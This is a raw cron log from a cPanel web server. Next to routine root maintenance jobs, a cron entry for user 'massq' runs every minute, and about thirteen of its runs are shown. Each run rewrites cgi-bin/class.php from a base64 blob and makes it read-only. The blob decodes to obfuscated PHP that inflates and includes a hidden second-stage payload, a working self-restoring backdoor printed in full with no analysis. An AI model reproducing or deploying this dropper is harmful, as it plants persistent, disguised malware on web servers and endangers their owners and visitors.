Nov 15 08:19:01 server CROND[12303]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 08:20:01 server CROND[12571]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 15 08:20:01 server CROND[12573]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 08:20:01 server CROND[12576]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 15 08:20:01 server CROND[12577]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 08:20:01 server CROND[12575]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 08:21:01 server CROND[12917]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 08:22:01 server CROND[13029]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 08:23:01 server CROND[13134]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 08:24:01 server CROND[13254]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 08:25:01 server CROND[13367]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 08:25:01 server CROND[13368]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 08:25:01 server CROND[13369]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 08:25:01 server CROND[13370]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore &gt;/dev/null 2&gt;&amp;1)
Nov 15 08:26:01 server CROND[13629]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 08:27:01 server CROND[13741]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 15 08:27:01 server CROND[13742]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 08:28:01 server CROND[13847]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 08:29:01 server CROND[14021]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 08:30:01 server CROND[14301]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache &amp;&amp; /usr/local/cpanel/scripts/update_db_cache)
Nov 15 08:30:01 server CROND[14303]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 15 08:30:01 server CROND[14306]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 08:30:01 server CROND[14304]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 08:30:01 server CROND[14310]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 08:31:01 server CROND[14742]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
